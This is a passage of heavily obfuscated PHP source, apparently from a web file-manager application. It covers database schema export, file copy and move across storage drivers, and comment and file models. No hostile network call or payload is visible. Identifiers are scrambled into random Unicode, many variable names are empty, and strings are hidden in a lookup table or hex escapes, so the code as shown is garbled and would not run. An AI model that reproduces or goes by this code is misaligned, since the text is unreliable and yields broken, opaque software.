$ɀ)) { fwrite($ޙ, $ޕ[$Õ[805]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ as $Ʈ볲) { $ޕ = $this->sqlFromMysql($Ʈ볲); if (!$ޕ[$Õ[805]]) { continue; } fwrite($ޙ, $ޕ[$Õ[805]] . PHP_EOL . PHP_EOL); if (!in_array($Ʈ볲, $ɀ)) { fwrite($උdz, $ޕ[$Õ[13]] . PHP_EOL . PHP_EOL); } } } fclose($ޙ); fclose($උdz); $֋ = array($Õ[805] => $ڇ, $Õ[13] => $߳); return $ ? $֋[$] : $֋; } public function dbType($ = false) { $ =& $_SERVER[㫙]; $ӌ = $ ? $GLOBALS[$[6]][$[21]] : $this->database; $ӌ = array_change_key_case($ӌ); $ = $ӌ[$[963]]; if ($ == $[960]) { $銆Ƚ = explode($[4], $ӌ[$[969]]); $ = $銆Ƚ[0]; } $ԏ = array($[1091] => $[13], $[908] => $[805]); if (isset($ԏ[$])) { $ = $ԏ[$]; } return $; } public function sqlFromMysql($ɇ, $ = '') { $쥢 =& $_SERVER[㫙]; $ʮÜ = $this->model()->db(); $ꃇ = $ʮÜ->query($쥢[1092] . $ɇ . $쥢[380]); if (!$ꃇ || !$ꃇ[0]) { return !1; } $炶 = _get($ꃇ[0], $쥢[1093], $쥢[12]); if (!$炶) { return !1; } $ = "\104\x52\117\120\40\x54\x41\x42\114\x45\40\111\106\x20\105\130\x49\123\x54\x53\40\140{$ɇ}\140\73" . PHP_EOL . $炶 . $쥢[71]; if ($ && $ == $쥢[805]) { return $; } $޷ = array_change_key_case($GLOBALS[$쥢[6]][$쥢[21]]); $ = $޷[$쥢[968]]; $ = $쥢[1094] . $ . $쥢[1095] . $ɇ . $쥢[58]; $ = $쥢[1096] . $ɇ . $쥢[896]; $ = $ʮÜ->query($); if (empty($)) { $ = array($쥢[805] => $쥢[12], $쥢[13] => $쥢[12]); return $ ? $[$] : $; } $Р = $ʮÜ->query($); $ڴ = $쥢[12]; $ݠ = array(); foreach ($Р as $) { if (!$ڴ && $[$쥢[1097]] == $쥢[1098]) { $ڴ = $[$쥢[1099]]; } if (isset($ݠ[$[$쥢[1097]]])) { $ݠ[$[$쥢[1097]]][$쥢[1100]][] = $[$쥢[1099]]; continue; } $ݠ[$[$쥢[1097]]] = array($쥢[1101] => $[$쥢[1097]], $쥢[1100] => array($[$쥢[1099]]), $쥢[1102] => $[$쥢[1103]] == $쥢[89] ? 0 : 1); } $ = array(); foreach ($ݠ as $) { $Ͻ = $[$쥢[1101]] == $쥢[1098]; $ձ = array($쥢[1104], $[$쥢[1102]] == $쥢[89] && !$Ͻ ? $쥢[1105] : $쥢[12], $쥢[1106], $쥢[1107] . $ɇ . $쥢[11] . ($Ͻ ? $쥢[1108] : $[$쥢[1101]]) . $쥢[117], $쥢[1109], $쥢[117] . $ɇ . $쥢[117], $쥢[1110] . implode($쥢[1111], $[$쥢[1100]]) . $쥢[1112]); $[] = implode($쥢[53], $ձ) . $쥢[71]; } $ = array(); $ = array($쥢[1113] => $쥢[1114], $쥢[1114] => $쥢[1114], $쥢[283] => $쥢[310], $쥢[282] => $쥢[310]); foreach ($ as $) { $ձ = array($쥢[117] . $[$쥢[1115]] . $쥢[117], isset($[$[$쥢[1116]]]) ? $[$[$쥢[1116]]] : $[$쥢[1117]], $[$쥢[1118]] == $쥢[894] ? $쥢[1119] : $쥢[1120], $[$쥢[1115]] == $ڴ ? $쥢[1121] : $쥢[12], $[$쥢[945]] ? strtoupper(str_replace($쥢[11], $쥢[12], $[$쥢[945]])) : $쥢[12]); $[] = trim(implode($쥢[53], $ձ)); } $ = array($쥢[1122] . $ɇ . $쥢[1123], $쥢[1124] . $ɇ . $쥢[1125], implode($쥢[50] . PHP_EOL, $), $쥢[942]); $ı쏩 = implode(PHP_EOL, array_merge($, $)); if ($ && $ == $쥢[13]) { return $ı쏩; } $ = array($쥢[805] => $, $쥢[13] => $ı쏩); return $ ? $[$] : $; } public function sqlFromSqlite($, $ƽ = '') { $ =& $_SERVER[㫙]; $ӵ = $this->model()->db(); $ = "\x50\122\101\x47\115\101\40\124\x41\102\x4c\x45\x5f\111\x4e\106\x4f\40\50\x27{$}\x27\x29"; $ұ = "\123\105\114\105\103\x54\40\x2a\40\x46\x52\117\x4d\x20\x73\161\154\151\x74\x65\137\155\x61\163\164\x65\x72\40\x57\110\105\122\105\x20\164\x62\x6c\137\156\141\155\x65\x20\x3d\x20\x27{$}\x27"; $ؕߗ = $ӵ->query($); if (empty($ؕߗ)) { $߯ = array($[805] => $[12], $[13] => $[12]); return $ƽ ? $߯[$ƽ] : $߯; } $DŽ = $ӵ->query($ұ); $Ō = $ = array(); foreach ($DŽ as $) { if ($[$[33]] == $[274]) { $Ō[] = $[$[1126]]; } else { $[$[$[32]]] = $[$[1126]]; } } $щ = array_merge(array($[1122] . $ . $[117]), $Ō, array_values($)); $щ = implode($[71] . PHP_EOL, $щ) . $[71]; if ($ƽ && $ƽ == $[13]) { return $щ; } $ց = array(); $ = array($[1114] => $[1127], $[310] => $[1128]); $ = $[12]; foreach ($ؕߗ as $) { if ($[$[57]] == $[89]) { $ = $[$[32]]; } $肃 = array($[380] . $[$[32]] . $[380], isset($[$[$[33]]]) ? $[$[$[33]]] : $[$[33]], $[$[35]] == $[89] ? $[1119] : $[1129] . $[$[56]], $[$[57]] == $[89] ? $[1130] : $[12]); $ց[] = trim(implode($[53], $肃)); } foreach ($ as $ی => $݊) { $ា = str_replace($[1131] . $ . $[11], $[12], $ی); $ŕ׏ = str_replace(array($[117], $[953]), $[380], substr($݊, stripos($݊, $[255]))); if ($ា == $[1108]) { $ = $[1132] . $ . $[1133]; } else { $ = (stripos($ា, $[11]) ? $[1134] : $[12]) . ($[1135] . $ា . $[1136] . $ŕ׏); } $ց[] = $; } $ɔ = array($[1137] . $ . $[1138], $[1139] . $ . $[1140], implode($[50] . PHP_EOL, $ց), $[1141]); $뚸 = implode(PHP_EOL, $ɔ); if ($ƽ && $ƽ == $[805]) { return $뚸; } $߯ = array($[805] => $뚸, $[13] => $щ); return $ƽ ? $߯[$ƽ] : $߯; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($, $ݎ) { $є =& $_SERVER[㫙]; $活 = $ݎ; $GLOBALS[$є[1142]] = $є[1143] . $; Hook::trigger($є[1143] . $ . $є[1144], $活); $ǁ = self::driverMake($ݎ[0]); if (!$ǁ) { return !1; } if (method_exists($ǁ, $)) { $ = @call_user_func_array(array($ǁ, $), $ݎ); } else { if (method_exists($ǁ, $є[1145])) { $ = @call_user_func_array(array($ǁ, $), $ݎ); } else { if (method_exists(self, $)) { $ = @call_user_func_array(array(self, $), $ݎ); } else { $ = call_user_func_array(array(parent, $), $ݎ); } } } Hook::trigger($є[1143] . $ . $є[1146], $活, $); return $; } public static function init($ϡ) { return self::driverMake($ϡ); } public static function copy($ްК, $Ƿ, $ = false, $ = false) { return self::copyMoveStart($ްК, $Ƿ, $, $_SERVER[㫙][549], $); } public static function move($ʊ, $Ȇ, $矛 = false, $ĺ = false) { return self::copyMoveStart($ʊ, $Ȇ, $矛, $_SERVER[㫙][551], $ĺ); } private static function copyMoveStart($, $ٰ, $, $, $ˈ) { $̎ܰ =& $_SERVER[㫙]; $ = array($, $ٰ, $, $ˈ); Hook::trigger($̎ܰ[1143] . $ . $̎ܰ[1144], $); $ɼ = self::copyMove($, $ٰ, $, $, $ˈ); Hook::trigger($̎ܰ[1143] . $ . $̎ܰ[1146], $, $ɼ); return $ɼ; } public static function saveFile($, $, $ = true) { $² =& $_SERVER[㫙]; $ = self::info($); $ˉ۷ = self::driverMake($); $̝ = self::driverMake($); $ = !1; if ($̝->pathParse[$²[1147]]) { $ = $̝; $ = $̝->pathParse[$²[1147]]; $̝ = self::driverMake($); } if ($ˉ۷->pathParse[$²[1147]]) { $ = $ˉ۷->pathParse[$²[1147]]; $ˉ۷ = self::driverMake($); } $ٍ = $̝->pathFather($); $ = !0; if (!$ && self::driverIsSame($ˉ۷, $̝)) { $ = !1; } $ = self::copyFile($ˉ۷, $, $̝, $ٍ, $[$²[32]], $); if ($) { $ = $->getPathOuter($); } return $; } private static function copyMove($Ӄ挱, $, $, $󬼏, $土 = false) { $ =& $_SERVER[㫙]; if (!$Ӄ挱 || $Ӄ挱 == $[8] || !$) { return !1; } ignore_timeout(); $ = self::driverMake($Ӄ挱); $ڰ = self::driverMake($); $Ҵ = $󬼏 == $[551]; $ = !1; if ($ڰ->pathParse[$[1147]]) { $ = $ڰ; $ = $ڰ->pathParse[$[1147]]; $ڰ = self::driverMake($); } if ($->pathParse[$[1147]]) { $Ӄ挱 = $->pathParse[$[1147]]; $ = self::driverMake($Ӄ挱); } self::check($, $Ӄ挱, $ڰ, $); Hook::trigger($[75], $, $Ӄ挱, $ڰ, $); $ĺ嫡 = self::driverIsSame($, $ڰ); if ($ĺ嫡) { if ($󬼏 == $[551] && !method_exists($ڰ, $[1148]) && trim($, $[8]) == trim($ڰ->pathFather($Ӄ挱), $[8])) { if ($->pathThis($Ӄ挱) != $土 && !$->isTypeObject()) { return $->rename($Ӄ挱, $土); } return $ڰ->getPathOuter($Ӄ挱); } if (method_exists($ڰ, $󬼏)) { return $ڰ->{$󬼏}($Ӄ挱, $, $, $土); } } if ($ĺ嫡 && $󬼏 == $[551] && $ڰ->getType() == $[107]) { $ԥ = $ڰ->movePath($Ӄ挱, $, $土); if ($ԥ) { return $ԥ; } } $ĵ = $->isFile($Ӄ挱); if (!$ĵ && $ڰ->getType() == $[759] && $->getType() == $[107]) { $ԥ = $ڰ->copyFolderFromIO($, $Ӄ挱, $, $, $Ҵ, $土); } else { $ԥ = self::copyPath($, $Ӄ挱, $ڰ, $, $, $Ҵ, $ĵ, $土); } if ($ԥ && $Ҵ) { $->remove($Ӄ挱); } if ($) { $ԥ = $->getPathOuter($ԥ); } return $ԥ; } private static function check($, $ó, $, &$) { $Ï׽ =& $_SERVER[㫙]; if (self::driverIsSame($, $) && $->isFolder($ó) && $->isParentOf($ó, $)) { show_json(LNG($Ï׽[1149]), !1); } if (!$->exist($ó)) { show_json(LNG($Ï׽[106]), !1); } } private static function copyPath($ˎ, $, $, $, $ʧ, $ľţ, $, $҄ = false) { $ =& $_SERVER[㫙]; $Ӆ = empty($҄) && $҄ !== $[190] ? $ˎ->pathThis($) : $҄; if ($ʧ) { $՜ = $->fileNameExist($, $Ӆ); $Ӆ = $->fileNameAuto($, $Ӆ, $ʧ, !$); $ʧ = $՜ ? $ʧ : !1; } if ($) { return self::copyFile($ˎ, $, $, $, $Ӆ, $ľţ); } if ($ʧ == REPEAT_RENAME_FOLDER) { $ʧ = !1; } $޳ = rtrim($, $[8]) . $[8] . $Ӆ; $٤ = $->mkdir($->getPath($޳)); $ = $->getPathInner($٤); $ʬ = $ˎ->listPath($, !0); $ʬ = is_array($ʬ) ? $ʬ : array($[76] => array(), $[77] => array()); $ = array_merge($ʬ[$[76]], $ʬ[$[77]]); foreach ($ as $ⶴ) { $ţ = $ⶴ[$[33]] == $[192]; $ = $ˎ->getPathInner($ⶴ[$[78]]); $ = self::copyPath($ˎ, $, $, $, $ʧ, $ľţ, $ţ); if (!$) { IO::errorTips($[1150] . $ . $[70] . $); } } self::copyMoveKeepInfo($ˎ, $, $٤); return $٤; } private static function copyFile($ʯ, $穿, $Ã, $, $Ο, $峖) { $ǃ =& $_SERVER[㫙]; $ = $Ã->getPath(rtrim($, $ǃ[8]) . $ǃ[8] . $Ο); $ = $ǃ[1151] . time() . rand_string(5); Hook::trigger($ǃ[1152], $ʯ, $穿, $Ã, $, $Ο, $); if (self::driverIsSame($ʯ, $Ã)) { if ($峖) { $껮 = $Ã->moveFile($穿, $); } else { $껮 = $Ã->copyFile($穿, $); } Hook::trigger($ǃ[1153], $ʯ, $穿, $Ã, $, $Ο, $껮); self::copyMoveKeepInfo($ʯ, $穿, $껮); return $껮; } $ = TEMP_FILES; if ($GLOBALS[$ǃ[6]][$ǃ[90]][$ǃ[797]]) { $ = $GLOBALS[$ǃ[6]][$ǃ[90]][$ǃ[797]]; } $Ԯ = $; mk_dir($Ԯ); $ƅӤ = $Ԯ . $; $Ψ = $ƅӤ; $ƅӤ = $ʯ->download($穿, $ƅӤ); $ƅӤ = $ʯ->iconvApp($ƅӤ); if (substr($ƅӤ, strlen($)) == $) { $峖 = !0; } $껮 = $Ã->upload($, $ƅӤ, $峖); self::remove($Ψ); Hook::trigger($ǃ[1153], $ʯ, $穿, $Ã, $, $Ο, $껮); self::copyMoveKeepInfo($ʯ, $穿, $껮); return $껮; } private static function copyMoveKeepInfo($, $هҦ, $) { if (!$) { return; } $ = $->info($هҦ); if (!is_array($)) { return; } IO::setModifyTime($, $[$_SERVER[㫙][86]]); } public static function pathFather($՞﷑) { $苼ʎ = IO::init($՞﷑); $Ң = $苼ʎ->pathFather($苼ʎ->path); return $苼ʎ->getPathOuter($Ң); } public static function fileOut($ӹ, $ӎ檿 = false, $ = false, $憮 = '') { $ = self::driverMake($ӹ); if ($->isFileOutServer()) { return $->fileOutServer($ӹ, $ӎ檿, $, $憮); } return $->fileOut($ӹ, $ӎ檿, $, $憮); } public static function fileOutImage($, $ = 250) { $׏ = array(250, 600, 1200, 2000, 3000, 5000); for ($ŮҪ = 0; $ŮҪ < count($׏); $ŮҪ++) { if ($ŮҪ == 0 && $ <= $׏[$ŮҪ]) { $ = $׏[$ŮҪ]; break; } else { if ($ > $׏[$ŮҪ - 1] && $ <= $׏[$ŮҪ]) { $ = $׏[$ŮҪ]; break; } else { if ($ŮҪ == count($׏) - 1 && $ > $׏[$ŮҪ]) { $ = $׏[$ŮҪ]; break; } } } } $۳ = self::driverMake($); if ($۳->isFileOutServer()) { return $۳->fileOutImageServer($, $); } return $۳->fileOutImage($, $); } private static function driverIsSame($, $܂) { $޸ =& $_SERVER[㫙]; $Ɩ = $->getType(); $ʵ = $܂->getType(); if ($Ɩ != $ʵ) { return !1; } if ($Ɩ == $޸[759]) { return !0; } if ($Ɩ == $޸[107]) { return !0; } if ($->pathDriver == $܂->pathDriver) { return !0; } return !1; } public static function copyUpdate($, $ȇ) { $ϒ =& $_SERVER[㫙]; if (!IO::exist($)) { return !1; } if (!IO::exist($ȇ)) { IO::mkdir($ȇ); } $渪 = self::_listAll($); $Ŗ = self::_listAll($ȇ); $ = array(); $ڃ = array(); foreach ($渪 as $ў => $) { if (isset($Ŗ[$ў])) { if ($[$ϒ[79]] == 1) { continue; } if ($Ŗ[$ў][$ϒ[80]] == $[$ϒ[80]]) { continue; } } if ($[$ϒ[79]] == 1) { $ڃ[] = $ȇ . $ϒ[8] . $ў; continue; } $ŭ = strstr(trim($ў, $ϒ[8]), $ϒ[8]) ? get_path_father($ў) : $ϒ[12]; $[] = array($ϒ[1154] => $[$ϒ[78]], $ϒ[1155] => rtrim($ȇ, $ϒ[8]) . $ϒ[8] . $ŭ, $ϒ[1156] => $); } $ = array($ϒ[192] => $, $ϒ[79] => $ڃ); Hook::trigger($ϒ[1157], $, $ȇ, $); foreach ($ڃ as $) { IO::mkdir($); } foreach ($ as $) { IO::copy($[$ϒ[1154]], $[$ϒ[1155]], REPEAT_REPLACE); } } private static function _listAll($ͷ) { $ =& $_SERVER[㫙]; $ͷ = KodIO::clear($ͷ); $ʽ = IO::listAll($ͷ); foreach ($ʽ as &$撅) { $ = substr($撅[$[78]], strlen($ͷ)); $撅[$[1158]] = trim($, $[8]); } unset($撅); return array_to_keyvalue($ʽ, $[1158]); } public static function fileSubstr($ō, $ʛئ, $ = false) { $䌊 =& $_SERVER[㫙]; $ؒՙ = self::driverMake($ō); $Ԓ = $ؒՙ->size($ō); $ז = $ʛئ; $쵍 = $; if ($ʛئ < 0) { $ʛئ = $Ԓ + $ʛئ; } if ($ === !1) { $ = $Ԓ - $ʛئ; } if ($ʛئ + $ > $Ԓ) { $ = $Ԓ - $ʛئ; } if (!$Ԓ && $ؒՙ->getType() == $䌊[107] && !$ؒՙ->exist($ō)) { throw new Exception($䌊[1159] . LNG($䌊[1160]) . $䌊[962] . get_path_this($ō) . $䌊[12]); } if ($ <= 0) { return $䌊[12]; } if ($ʛئ < 0 || $ʛئ >= $Ԓ || $ > 1024 * 1024 * 10) { throw new Exception("\x66\151\154\145\122\145\x61\144\40\145\162\x72\x6f\x72\41\40\163\164\141\x72\x74\x3d{$ʛئ}\73\x6c\145\156\147\164\150\x3d{$}\73\40\163\151\172\x65\x3d{$Ԓ}\73"); } $ = $ؒՙ->fileSubstr($ō, $ʛئ, $); if (!$ && $ && isset($GLOBALS[$䌊[1161]])) { throw new Exception($GLOBALS[$䌊[1161]][$䌊[1162]]); } return $; } private static function driverMake(&$폠Ը) { $暴 =& $_SERVER[㫙]; $ = KodIO::parse($폠Ը); if (!self::$driverListSystem) { $ܤ = Model($暴[768])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($ܤ, $暴[392]); } if ($[$暴[33]] == KodIO::KOD_IO && !self::$driverListSystem[$[$暴[392]]]) { return !1; } $폠Ը = $[$暴[1163]]; $ٟ = self::driverGet($, $폠Ը); return $ٟ; } private static function driverGet($, &$) { $ =& $_SERVER[㫙]; $ = $[$[1164]]; $ = $[$[392]]; switch ($[$[33]]) { case KodIO::KOD_IO: $ܻ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $ = $ . $; $ܻ = array($[1165] => $[1166], $[6] => $); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $հ = $GLOBALS[$[1167]]; self::$driverListUser = array_to_keyvalue($հ, $[392]); } $ܻ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $ܻ = array($[1165] => $[1168], $[6] => $); $ֻ = Action($[1169])->sharePathInfo($[$[78]]); $ = $ֻ[$[403]]; if (!$ֻ[$[403]]) { $˩ = Model($[595])->getInfo($ֻ[$[488]]); $ = KodIO::clear($˩[$[1170]] . $[$[1163]]); $[$[486]] = $˩; $[$[1147]] = $; $ܻ = array($[1165] => $[1171], $[6] => $); } break; case KodIO::KOD_SHARE_ITEM: $ܻ = array($[1165] => $[1172], $[6] => $); $˩ = Model($[595])->getInfo($[$[392]]); if ($˩[$[403]] == $[190]) { $ = KodIO::clear($˩[$[1170]] . $[$[1163]]); $[$[486]] = $˩; $[$[1147]] = $; $ܻ = array($[1165] => $[1173], $[6] => $); } else { if (!$) { $ = $˩[$[403]]; } } break; default: $ = $[$[78]]; $ܻ = array($[1165] => $[1174]); break; } $ = $[$[78]]; if (!isset(self::$driverCache[$])) { $Ǚ = strtolower($ܻ[$[96]]); $ލ = $GLOBALS[$[6]][$[90]][$[827]]; $ = $[74] . (isset($ލ[$Ǚ]) ? $ލ[$Ǚ] : ucfirst($Ǚ)); if (!class_exists($)) { show_json("{$}\x20\x6e\x6f\164\40\x65\x78\151\x73\x74\163\x21", !1); } $ = isset($ܻ[$[6]]) ? $ܻ[$[6]] : !1; self::$driverCache[$] = new $($); } $ף = self::$driverCache[$]; $ף->pathDriver = $; $ף->pathBase = $[12]; if (isset($ܻ[$[6]][$[1175]])) { $ף->pathBase = rtrim($ܻ[$[6]][$[1175]], $[8]) . $[8]; $ = $ף->pathBase . ltrim($, $[8]); } $ = $ף->getPath($); if (isset($[$[1147]])) { $ = $[$[1147]]; } $ף->path = $; return $ף; } public static function errorTips($⦻ = false) { $ߏ =& $_SERVER[㫙]; static $šÆ = array(); $ = 1000; if ($⦻ === -1) { return $šÆ ? $šÆ[count($šÆ) - 1] : $ߏ[12]; } if ($⦻ === !1) { return implode($ߏ[226], $šÆ); } if (count($šÆ) >= $) { $šÆ = array_slice($šÆ, $ * 0.5, $); } $šÆ[] = $⦻; write_log($ߏ[159] . ACTION . $ߏ[1176] . $⦻, $ߏ[1177]); } public static function getLastError($Ƅ = '') { $߃ = self::errorTips(-1); return $߃ ? $߃ : $Ƅ; } } goto Aڭޚ; C͘: class CommentModel extends ModelBase { protected $tableName = "\143\x6f\155\155\145\x6e\x74"; protected $tableMeta = array("\x74\141\x62\x6c\145\116\x61\x6d\x65" => "\x63\x6f\x6d\155\x65\x6e\164\x5f\x6d\145\164\141", "\155\145\164\x61\106\x69\145\154\x64" => "\143\157\155\155\x65\156\x74\x49\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($) { $ =& $_SERVER[㫙]; if ($[$[1846]]) { $ = $this->where(array($[1847] => $[$[1846]]))->find(); if (!$ || $[$[412]] != $[$[412]] || $[$[504]] != $[$[504]]) { return !1; } $this->where(array($[1847] => $[$[1846]]))->setAdd($[1848], 1); } $[$[1849]] = 0; $[$[1848]] = 0; $[$[751]] = 1; return $this->add($); } public function commentCount($͟, $, $ђ = false) { $ =& $_SERVER[㫙]; if (!$͟) { return array(); } if (is_string($͟) || is_int($͟)) { $͟ = array($͟); } $ = array($[504], $[1850] => $[500]); $ؙ = array($[504] => array($[7], $͟), $[412] => $); if ($ђ) { $ؙ[$[1650]] = $ђ; } $靭 = $this->field($)->where($ؙ)->group($[504])->select(); return array_to_keyvalue($靭, $[504], $[500]); } public function starTarget($, $) { $ =& $_SERVER[㫙]; $ = $ + self::TYPE_STAR_OFFSET; $ş = array($[1650] => USER_ID, $[412] => $, $[504] => $); $ = $this->where($ş)->find(); if ($) { return $this->where(array($[392] => $[$[392]]))->delete(); } $ɫ = array($[1846] => 0, $[1650] => USER_ID, $[751] => 1, $[756] => $[12], $[412] => $, $[504] => $, $[1849] => 0, $[1848] => 0); return $this->add($ɫ); } public function starTargetCount($ѷэ, $‘) { $Ь =& $_SERVER[㫙]; $ = $‘ + self::TYPE_STAR_OFFSET; $ё = $this->commentCount($ѷэ, $); $Ȓ = $this->commentCount($ѷэ, $, USER_ID); return array($Ь[1851] => $ё, $Ь[1852] => $Ȓ); } public function starTargetUserList($ݟ, $) { $Ǥ͈ =& $_SERVER[㫙]; $ = $ݟ + self::TYPE_STAR_OFFSET; $ = array($Ǥ͈[504] => $, $Ǥ͈[412] => $); $ = $this->where($)->count(); $뤇 = array($Ǥ͈[250] => $, $Ǥ͈[1853] => array()); if (!$) { return $뤇; } $ƍ = $this->field($Ǥ͈[1650])->where($)->limit(500)->select(); $ƍ = array_to_keyvalue($ƍ, $Ǥ͈[12], $Ǥ͈[1650]); $뤇[$Ǥ͈[1853]] = Model($Ǥ͈[513])->userListInfo($ƍ); return $뤇; } public function prasiseUserList($) { $ַ =& $_SERVER[㫙]; $× = array($ַ[1854] => $); $ = $this->where($×)->find(); $ = _get($, $ַ[1849], 0); $欔 = array($ַ[250] => $, $ַ[1853] => array()); if (!$) { return $欔; } $ネ = Model($ַ[1855])->field($ַ[1650])->where($×)->limit(500)->select(); $ネ = array_to_keyvalue($ネ, $ַ[12], $ַ[1650]); $欔[$ַ[1853]] = Model($ַ[513])->userListInfo($ネ); return $欔; } public function remove($) { $Ď =& $_SERVER[㫙]; $٣ = array($Ď[1847] => $); $́ = $this->where($٣)->find(); if ($́[$Ď[1846]]) { $this->where(array($Ď[1847] => $́[$Ď[1846]]))->setAdd($Ď[1848], -1); } return $this->where($٣)->delete(); } public function edit($ǖ, $ǘԹ) { $ޮ =& $_SERVER[㫙]; $ͨ芷 = array($ޮ[1847] => $ǖ); return $this->where($ͨ芷)->save(array($ޮ[1856] => $ǘԹ)); } public function prasise($) { $򳒢 =& $_SERVER[㫙]; $Ȯښ = Model($򳒢[1857]); $ݔӆ = array($򳒢[1847] => $, $򳒢[1641] => USER_ID); $߮ = $Ȯښ->where($ݔӆ)->find(); if (!$߮) { $Ȯښ->add($ݔӆ); $쬎 = $this->where(array($򳒢[1847] => $))->setAdd($򳒢[1849], 1); } else { $Ȯښ->where($ݔӆ)->delete(); $쬎 = $this->where(array($򳒢[1847] => $))->setAdd($򳒢[1849], -1); } return $쬎; } public function targetInfo($窥, $Ӭܸ) { $Ɇ =& $_SERVER[㫙]; $Ì = array($Ɇ[580] => $窥, $Ɇ[581] => $Ӭܸ); $ޘ = $this->where($Ì)->count(); $剝 = "\122\111\x47\x48\124\x20\x4a\x4f\111\116\40{$this->tablePrefix}\143\x6f\155\x6d\145\x6e\x74\x5f\x70\x72\x61\151\x73\145\x20\x73\x74\x61\x72\x20\157\156\40\x63\157\x6d\155\x65\156\164\56\143\x6f\x6d\x6d\x65\156\x74\111\104\x20\75\40\x73\164\x61\162\x2e\x63\157\155\x6d\145\x6e\164\x49\x44"; $Ü窘 = $this->alias($Ɇ[349])->where($Ì)->join($剝, $Ɇ[1858])->count(); $• = array($Ɇ[1859] => $ޘ, $Ɇ[1860] => $Ü窘); return $•; } public function listData($) { $􈙋 =& $_SERVER[㫙]; if (isset($[$􈙋[1861]])) { if ($[$􈙋[1861]]) { $[$􈙋[1854]] = array($􈙋[1010], intval($[$􈙋[1861]])); } unset($[$􈙋[1861]]); } if (isset($[$􈙋[1862]])) { if ($[$􈙋[1862]]) { $[$􈙋[1854]] = array($􈙋[1007], intval($[$􈙋[1862]])); } unset($[$􈙋[1862]]); } return $this->_listData($); } private function _listData($) { $ =& $_SERVER[㫙]; $ي = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($ي[$[364]]); $this->_listAppendUser($ي[$[364]]); $this->_listAppendMeta($ي[$[364]]); return $ي; } private function _makeOrder() { $ո =& $_SERVER[㫙]; $պ֔ = array($ո[1849], $ո[1848], $ո[193]); $ = Input::get($ո[455], $ո[7], $ո[424], $պ֔); $Š = Input::get($ո[456], $ո[7], $ո[1643], array($ո[1863], $ո[451])); $ = $ . $ո[53] . $Š; return $this->order($); } private function _listAppendParent(&$Ƨ) { $ɗ =& $_SERVER[㫙]; $ = array_unique(array_to_keyvalue($Ƨ, $ɗ[12], $ɗ[1846])); $ = array_remove_value($, $ɗ[190]); if (!$) { return; } $䠰 = $this->where(array($ɗ[1847] => array($ɗ[7], $)))->select(); $䠰 = array_to_keyvalue($䠰, $ɗ[1854]); foreach ($Ƨ as &$ڦ) { if (isset($䠰[$ڦ[$ɗ[1846]]])) { $ڦ[$ɗ[1864]] = $䠰[$ڦ[$ɗ[1846]]]; } } unset($ڦ); } private function _listAppendUser(&$) { $ˣ =& $_SERVER[㫙]; $ެ = array_unique(array_to_keyvalue($, $ˣ[12], $ˣ[1650])); $ެ = array_remove_value($ެ, $ˣ[190]); if (count($ެ) == 0) { return; } foreach ($ as $) { if (isset($[$ˣ[1864]])) { $ެ[] = $[$ˣ[1864]][$ˣ[1650]]; } } $ = Model($ˣ[538])->userListInfo($ެ); foreach ($ as &$) { $[$ˣ[594]] = $[$[$ˣ[1650]]]; if (isset($[$ˣ[1864]])) { $[$ˣ[1864]][$ˣ[594]] = $[$[$ˣ[1864]][$ˣ[1650]]]; } } unset($); } private function _listAppendMeta(&$۵) { $Н =& $_SERVER[㫙]; $ƅ = array_unique(array_to_keyvalue($۵, $Н[12], $Н[1854])); $ƅ = array_remove_value($ƅ, $Н[190]); if (!$ƅ) { return; } foreach ($۵ as $ȣ) { if (isset($ȣ[$Н[1864]])) { $ƅ[] = $ȣ[$Н[1864]][$Н[1854]]; } } $塸 = $this->metaList($ƅ); if (!$塸) { return !1; } foreach ($۵ as &$ȣ) { $ȣ[$Н[465]] = $塸[$ȣ[$Н[1854]]]; if (isset($ȣ[$Н[1864]])) { $ȣ[$Н[1864]][$Н[465]] = $塸[$ȣ[$Н[1864]][$Н[1854]]]; } } unset($ȣ); } private function metaList($׾) { $ߨ =& $_SERVER[㫙]; if (!$׾) { return array(); } $ҝ = array($ߨ[1854] => array($ߨ[7], $׾)); $ = Model($ߨ[1865])->where($ҝ)->select(); $ = array_to_keyvalue_group($, $ߨ[1854]); foreach ($ as $ᵇ => $쒲) { $ = array(); foreach ($쒲 as $) { $[$[$ߨ[95]]] = $[$ߨ[369]]; } $[$ᵇ] = $; } return $ ? $ : array(); } } class FileContentModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\146\151\x6c\x65\x5f\x63\157\156\x74\x65\156\x74\163"; protected $dataAuto = array(array("\x63\x72\x65\x61\164\145\124\x69\x6d\x65", "\x74\x69\x6d\x65", "\x69\x6e\x73\145\x72\164", "\x66\165\156\143\164\x69\x6f\x6e")); } class FileModel extends ModelBase { protected $tableName = "\x69\157\137\x66\x69\x6c\145"; protected $tableMeta = array("\x74\141\x62\154\145\116\141\155\x65" => "\151\157\137\146\151\x6c\x65\x5f\155\145\x74\x61", "\155\145\x74\x61\106\151\x65\x6c\144" => "\x66\151\x6c\145\x49\x44"); public function fileInfo($) { $Ż =& $_SERVER[㫙]; static $͔٫ = array(); if (!isset($͔٫[$])) { $ = $Ż[1866]; $ = Model($Ż[470])->field($)->where(array($Ż[468] => $))->find(); $͔٫[$] = $; } return $͔٫[$]; } public function addFileByContent($߇ = '', $諸ߗ = '') { $¥ڬ =& $_SERVER[㫙]; $ = TEMP_PATH . $¥ڬ[1867]; if (!is_dir($)) { mk_dir($); } $˛ = $ . $¥ڬ[1868] . rand_string(16); file_put_contents($˛, $߇); $ծë = $this->addFile($˛, $諸ߗ, !0); if (file_exists($˛)) { @unlink($˛); } return $ծë; } public function createFileName($ȸ, $׊ = false, $ù = false) { $ =& $_SERVER[㫙]; $Ɗ = IO::init($[8]); $ӥ = $this->makeFilePath($ȸ, $Ɗ, $׊, $ù); $ = $Ɗ->pathFather($ӥ); static $ = false; $ك = $[1869] . md5($); if (!$ && !Cache::get($ك)) { $ = !0; $ = IO::mkdir($); if (!IO::exist($ . 